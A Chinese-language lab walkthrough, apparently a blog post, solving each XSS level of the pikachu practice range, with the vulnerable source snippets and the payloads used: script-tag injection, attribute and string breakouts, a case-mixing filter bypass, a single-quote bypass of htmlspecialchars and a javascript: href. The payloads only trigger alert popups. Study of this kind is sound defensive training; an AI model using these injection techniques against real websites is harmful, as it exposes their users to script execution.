• pikachu靶场XSS详解


    一、反射型XSS

    1、get型

    源码前后区别

    前
    <form method="get">
    	<input class="xssr_in" type="text" name="message" maxlength="20">
    	<input class="xssr_submit" type="submit" value="submit" name="submit">
    </form>
    <p class="notice">输入'kobe'试试-_-</p>
    
    后
    <form method="get">
    	<input class="xssr_in" type="text" name="message" maxlength="20">
    	<input class="xssr_submit" type="submit" value="submit" name="submit">
    </form>
    <p class="notice">who is 123,i don't care!</p>
    

    抓包
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217191043.png?1609079597256
    可以修改数据,且可以绕过前端校验。

    输入<script>alert('xss')</script>
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217190732.png?1609079597257
    出现弹窗

    疑问,与sql注入的get注入有什么区别

    2、post型

    输入账号密码
    抓包
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201217192302.png?1609079597257
    post型

    与get类似
    输入<script>alert('xss')</script>
    出现弹窗

    二、存储型

    1、输入123,并刷新
    发现,123已经存进留言列表
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218110758.png?1609079597258

    2、输入特殊字符,观察有无过滤
    '<>?"/6666
    没有任何过滤
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218111355.png?1609079597258

    3、构造payload
    输入<script>alert('xss')</script>
    发现无论刷新多少次,都会出现弹窗

    三、DOM型

    1、输入123,点击click me,再点击what do you see

    1、输入特殊字符,观察有无过滤
    '"<>?&6666

    2、查看源码

    <script>
    	function domxss(){
    	var str = document.getElementById("text").value;
    	document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
    }
    	//试试:'><img src="#" onmouseover="alert('xss')">
    	//试试:' onclick="alert('xss')">,闭合掉就行
    </script>
    

    JS代码,它通过 getElementById 获取到了标签 Id 为 text的内容赋值给str, 然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,a标签会写到 Id 为 dom的 div 标签中

    3、构造payload

    ' onclick=alert("xss")>

    what do you see?
    <a href='"+#' onclick=alert("xss")>+"'>what do you see?
    分为两部分 <a href='"+#' onclick=alert("xss")> 和 +"'>what do you see?
    在第一部分中 '"+#'闭合,onclick=alert("xss")作为连接,
    在第二部分中 +"'>what do you see?作为链接的触发,因此不能根据这个显示来判断有无过滤。

    拓展
    在第一部分中,只需要前后闭合即可

    四、DOM型-x

    1、查看源码

    <script>
    	function domxss(){
    		var str = window.location.search;
    		var txss = decodeURIComponent(str.split("text=")[1]);
    		var xss = txss.replace(/+/g,' ');
    		//alert(xss);
    
    		document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
    	}
    	//试试:'><img src="#" onmouseover="alert('xss')">
    	//试试:' onclick="alert('xss')">,闭合掉就行
    </script>
    

    定义了一个domxss函数。它$color{red}{利用 window.location.search 获取浏览器中url的内容}$,然后赋值给 str,经过URL解码和字符串分隔,取出URL中的参数内容,再把 “+” 替换为 “ ”(空格),赋值给 xss,最后把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。

    2、与之前相同
    构造payload

    ' onclick=alert("xss")>

    3、观察payload
    发现在url中
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201218205002.png?1609079597267
    即,程序是在url中获得参数内容

    五、XSS盲打

    1、输入123456,123456。查看后台,查看后台源码
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112350.png?1609079597291
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219112423.png?1609079597291

    2、猜想,写恶意的脚本,能否成功执行,

    <scritp>
    	alert("xss")
    </scritp>
    

    成功执行

    六、xs过滤和绕过

    1、测试那些符号或关键词被过滤掉了
    输入
    '<>?"/6666
    输出
    别说这些''<>?"/6666'的话,不要怕,就是干!
    没有过滤符号

    输入
    <script>alert("xss")</script>
    输出
    别说这些'>'的话,不要怕,就是干!
    猜测,过滤了script,尝试双写,绕过过滤

    输入
    <scr<script>ipt>alert("xss")</scr</script>ipt>
    输出
    别说这些'>'的话,不要怕,就是干!
    尝试大小写绕过

    输入
    <sCriPt>alert("xss")</sCRipt>
    输出
    弹窗,成功绕过

    七、htmlspecialchars

    1、测试输入
    输入
    123456
    输出
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219121118.png?1609079597292

    输入
    '<>?"/6666
    输出
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219122524.png?1609079597293
    字符被实体化了

    2、查看源码
    判断为反射型xss,且是从url中获得参数

    if(isset($_GET['submit'])){
        if(empty($_GET['message'])){
            $html.="<p class='notice'>输入点啥吧!</p>";
        }else {
            //使用了htmlspecialchars进行处理,是不是就没问题了呢,htmlspecialchars默认不对'处理
            $message=htmlspecialchars($_GET['message']);
            $html1.="<p class='notice'>你的输入已经被记录:</p>";
            //输入的内容被处理后输出到了input标签的value属性里面,试试:' onclick='alert(111)'
    //        $html2.="<input class='input' type='text' name='inputvalue' readonly='readonly' value='{$message}' style='margin-left:120px;display:block;background-color:#c0c0c0;border-style:none;'/>";
            $html2.="<a href='{$message}'>{$message}</a>";
        }
    }
    

    3、尝试绕过
    输入
    'alert(“xss“)'
    源码
    ![[Pasted image 20201219154508.png]]

    输入
    1' onclick='alert(1)'
    成功弹窗
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219154139.png?1609079597294

    八、href输出

    1、测试输入
    输入123456,查看网页源码
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155343.png?1609079597294
    并发现123456显示在url上
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219161458.png?1609079597294

    输入'<>?"/6666,查看网页源码
    app://local/E%3A%5Cobsidian%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E7%BD%91%E7%BB%9C%E5%AE%89%E5%85%A8%5C%E9%9F%B3%E8%A7%86%E9%A2%91%E6%96%87%E4%BB%B6%5CPasted%20image%2020201219155549.png?1609079597294
    有些字符被实体化了,仅剩' /

    2、尝试构造payload
    当输出在a标签里的href属性时,可以用js协议来执行js代码
    javascript:alert(0)
    成功弹窗

    九、js输出

    1、测试输入
    输入123456,
    没有输出
    查看页面源码

    <script>
        $ms='123456';
        if($ms.length != 0){
            if($ms == 'tmac'){
                $('#fromjs').text('tmac确实厉害,看那小眼神..')
            }else {
    //            alert($ms);
                $('#fromjs').text('无论如何不要放弃心中所爱..')
            }
    
        }
    </script>
    

    输入'<>?"/6666,查看网页源码

    <script>
        $ms=''<>?"/6666';
        if($ms.length != 0){
            if($ms == 'tmac'){
                $('#fromjs').text('tmac确实厉害,看那小眼神..')
            }else {
    //            alert($ms);
                $('#fromjs').text('无论如何不要放弃心中所爱..')
            }a
    
        }
    </script>
    

    没有过滤字符

    2、尝试构造payload
    'test'</script> <script> alert("xss")</script><script>
    成功前后闭合,弹窗

  • 相关阅读:
    数据库设计:数据库设计步骤,er图,三大范式
    连接查询
    连接查询和分组查询
    Django项目的创建与配置
    WEB框架的原理总结
    RabbitMQ---消息队列
    Djang之基于角色的权限控制(RBAC)
    Django之基于RBAC权限控制生成动态菜单
    关于装饰器的一些小练习
    关于简单的python函数的一些小练习题
  • 原文地址:https://www.cnblogs.com/gorillalee/p/14199292.html
Copyright © 2020-2023  润新知